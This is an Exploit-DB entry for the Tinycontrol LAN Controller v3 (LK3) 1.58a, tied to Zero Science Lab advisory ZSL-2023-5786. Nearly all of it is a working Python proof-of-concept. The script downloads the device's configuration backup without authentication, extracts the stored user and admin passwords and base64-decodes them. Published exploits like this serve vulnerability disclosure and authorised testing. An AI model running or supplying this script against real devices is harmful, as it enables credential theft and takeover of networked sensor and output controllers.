Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Credentials Extraction

EDB-ID:

51731

CVE:

N/A




Platform:

Hardware

Date:

2023-10-09


#!/usr/bin/env python
#
#Exploit Title: Tinycontrol LAN Controller v3 (LK3) - Remote Credentials Extraction
# Exploit Author: LiquidWorm
#
# Vendor: Tinycontrol
# Product web page: https://www.tinycontrol.pl
# Affected version: <=1.58a, HW 3.8
#
# Summary: Lan Controller is a very universal
# device that allows you to connect many different
# sensors and remotely view their readings and
# remotely control various types of outputs.
# It is also possible to combine both functions
# into an automatic if -> this with a calendar
# when -> then. The device provides a user interface
# in the form of a web page. The website presents
# readings of various types of sensors: temperature,
# humidity, pressure, voltage, current. It also
# allows you to configure the device, incl. event
# setting and controlling up to 10 outputs. Thanks
# to the support of many protocols, it is possible
# to operate from smartphones, collect and observ
# the results on the server, as well as cooperation
# with other I/O systems based on TCP/IP and Modbus.
#
# Desc: An unauthenticated attacker can retrieve the
# controller's configuration backup file and extract
# sensitive information that can allow him/her/them
# to bypass security controls and penetrate the system
# in its entirety.
#
# Tested on: lwIP
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2023-5786
# Advisory ID: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5786.php
#
#
# 18.08.2023
#
#


import subprocess
import requests
import base64
import sys

binb = "lk3_settings.bin"
outf = "lk3_settings.enc"
bpatt = "0upassword"
epatt = "pool.ntp.org"
startf = False
endf = False
extral = []

print("""
    O`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'O
    |                                          |
    |     Tinycontrol LK3 1.58 Settings DL     |
    |              ZSL-2023-5786               |
    |         2023 (c) Zero Science Lab        |
    |                                          |
    |`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'|
    |                                          |
""")

if len(sys.argv) != 2:
    print("[?] Vaka: python {} ipaddr:port".format(sys.argv[0]))
    exit(-0)
else:
    rhost=sys.argv[1]
    if not "http" in rhost:
        rhost="http://{}".format(rhost)

try:
    resp = requests.get(rhost + "/" + binb)
    if resp.status_code == 200:
        with open(outf, 'wb') as f:
            f.write(resp.content)
        print(f"[*] Got data as {outf}")
    else:
        print(f"[!] Backup failed. Status code: {resp.status_code}")
except Exception as e:
    print("[!] Error:", str(e))
    exit(-1)

binf = outf
sout = subprocess.check_output(["strings", binf], universal_newlines = True)
linea = sout.split("\n")

for thricer in linea:
    if bpatt in thricer:
        startf = True
    elif epatt in thricer:
        endf = True
    elif startf and not endf:
        extral.append(thricer)

if len(extral) >= 4:
    userl = extral[1].strip()
    adminl = extral[3].strip()
    try:
        decuser = base64.b64decode(userl).decode("utf-8")
        decadmin = base64.b64decode(adminl).decode("utf-8")
        print("[+] User password:", decuser)
        print("[+] Admin password:", decadmin)
    except Exception as e:
        print("[!] Error decoding:", str(e))
else:
    print("[!] Regex failed.")
    exit(-2)